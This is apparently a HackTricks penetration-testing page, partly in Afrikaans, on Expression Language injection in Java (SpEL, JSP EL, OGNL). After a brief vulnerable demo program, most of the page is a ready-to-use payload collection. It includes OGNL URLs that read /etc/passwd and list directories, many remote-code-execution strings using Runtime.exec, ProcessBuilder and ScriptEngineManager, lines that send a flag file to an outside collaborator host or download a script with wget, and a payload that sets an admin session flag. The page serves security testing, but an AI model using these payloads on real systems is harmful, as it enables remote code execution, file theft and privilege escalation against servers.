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219 lines
12 KiB
Markdown
219 lines
12 KiB
Markdown
# EL - Expression Language
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{{#include ../../banners/hacktricks-training.md}}
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## Bsic Info
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Expression Language (EL) is integraal in JavaEE vir die oorbrugging van die aanbiedingslaag (bv. webbladsye) en toepassingslogika (bv. bestuurde bone), wat hul interaksie moontlik maak. Dit word hoofsaaklik gebruik in:
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- **JavaServer Faces (JSF)**: Vir die binding van UI-komponente aan agtergrond data/aksies.
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- **JavaServer Pages (JSP)**: Vir data toegang en manipulasie binne JSP-bladsye.
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- **Contexts and Dependency Injection for Java EE (CDI)**: Vir die fasilitering van weblaag interaksie met bestuurde bone.
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**Gebruik Konteks**:
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- **Spring Framework**: Toegepas in verskeie modules soos Sekuriteit en Data.
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- **Algemene Gebruik**: Deur SpEL API deur ontwikkelaars in JVM-gebaseerde tale soos Java, Kotlin, en Scala.
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EL is teenwoordig in JavaEE tegnologieë, standalone omgewings, en herkenbaar deur `.jsp` of `.jsf` lêer uitbreidings, stapfoute, en terme soos "Servlet" in koptekste. Dit is egter afhanklik van die weergawe van sy kenmerke en die gebruik van sekere karakters.
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> [!NOTE]
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> Afhangende van die **EL weergawe** mag sommige **kenmerke** **Aan** of **Af** wees en gewoonlik mag sommige **karakters** **verbode** wees.
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## Basic Example
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(You can find another interesting tutorial about EL in [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/))
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Download from the [**Maven**](https://mvnrepository.com) repository the jar files:
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- `commons-lang3-3.9.jar`
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- `spring-core-5.2.1.RELEASE.jar`
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- `commons-logging-1.2.jar`
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- `spring-expression-5.2.1.RELEASE.jar`
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And create a the following `Main.java` file:
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```java
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import org.springframework.expression.Expression;
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import org.springframework.expression.ExpressionParser;
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import org.springframework.expression.spel.standard.SpelExpressionParser;
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public class Main {
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public static ExpressionParser PARSER;
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public static void main(String[] args) throws Exception {
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PARSER = new SpelExpressionParser();
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System.out.println("Enter a String to evaluate:");
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java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
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String input = stdin.readLine();
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Expression exp = PARSER.parseExpression(input);
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String result = exp.getValue().toString();
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System.out.println(result);
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}
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}
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```
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Volgende kompileer die kode (as jy nie `javac` geïnstalleer het nie, installeer `sudo apt install default-jdk`):
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```java
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javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
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```
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Voer die toepassing uit met:
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```java
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java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
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Enter a String to evaluate:
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{5*5}
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[25]
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```
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Let op hoe in die vorige voorbeeld die term `{5*5}` was **geëvalueer**.
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## **CVE-gebaseerde Handleiding**
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Kyk dit in **hierdie pos:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
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## Payloads
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### Basiese aksies
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```bash
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#Basic string operations examples
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{"a".toString()}
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[a]
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{"dfd".replace("d","x")}
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[xfx]
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#Access to the String class
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{"".getClass()}
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[class java.lang.String]
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#Access ro the String class bypassing "getClass"
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#{""["class"]}
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#Access to arbitrary class
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{"".getClass().forName("java.util.Date")}
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[class java.util.Date]
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#List methods of a class
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{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
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[public boolean java.util.Date.equals(java.lang.Object)]
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```
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### Opsporing
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- Burp opsporing
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```bash
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gk6q${"zkz".toString().replace("k", "x")}doap2
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#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
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```
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- J2EE opsporing
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```bash
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#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
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https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
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```
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- Slap 10 sekondes
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```bash
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#Blind detection vector (sleep during 10 seconds)
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https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
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```
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### Afgeleë Lêer Insluiting
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```bash
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https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
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```
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### Gidslys
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```bash
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https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
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```
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### RCE
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- Basiese RCE **verklaring**
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```bash
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#Check the method getRuntime is there
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{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
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[public static java.lang.Runtime java.lang.Runtime.getRuntime()]
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#Execute command (you won't see the command output in the console)
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{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
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[Process[pid=10892, exitValue=0]]
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#Execute command bypassing "getClass"
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#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
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# With HTMl entities injection inside the template
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<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
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```
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- RCE **linux**
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```bash
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https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
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```
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- RCE **Windows** (nie getoets)
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```bash
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https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
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```
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- **Meer RCE**
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```java
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// Common RCE payloads
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''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
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''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
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// Method using Runtime via getDeclaredConstructors
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#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
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#{session.getAttribute("rtc").setAccessible(true)}
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#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
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// Method using processbuilder
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${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
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${request.getAttribute("c").add("cmd.exe")}
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${request.getAttribute("c").add("/k")}
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${request.getAttribute("c").add("ping x.x.x.x")}
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${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
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${request.getAttribute("a")}
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// Method using Reflection & Invoke
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${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
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// Method using ScriptEngineManager one-liner
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${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
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// Method using ScriptEngineManager
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{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
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${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");
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//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
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(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
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T(java.lang.System).getenv()[0]
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T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
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T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
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''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
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```
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### Inspectering van die omgewing
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- `applicationScope` - globale toepassingsvariabeles
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- `requestScope` - versoekvariabeles
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- `initParam` - toepassingsinitalisering variabeles
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- `sessionScope` - sessievariabeles
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- `param.X` - param waarde waar X die naam van 'n http parameter is
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Jy sal hierdie variabeles na String moet cast soos:
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```bash
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${sessionScope.toString()}
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```
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#### Voorbeeld van outomatisering van magtiging
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```bash
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${pageContext.request.getSession().setAttribute("admin", true)}
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```
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Die toepassing kan ook pasgemaakte veranderlikes gebruik soos:
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```bash
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${user}
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${password}
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${employee.FirstName}
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```
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## WAF Bypass
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Kyk na [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
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## Verwysings
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- [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
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- [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
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- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
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- [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
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{{#include ../../banners/hacktricks-training.md}}
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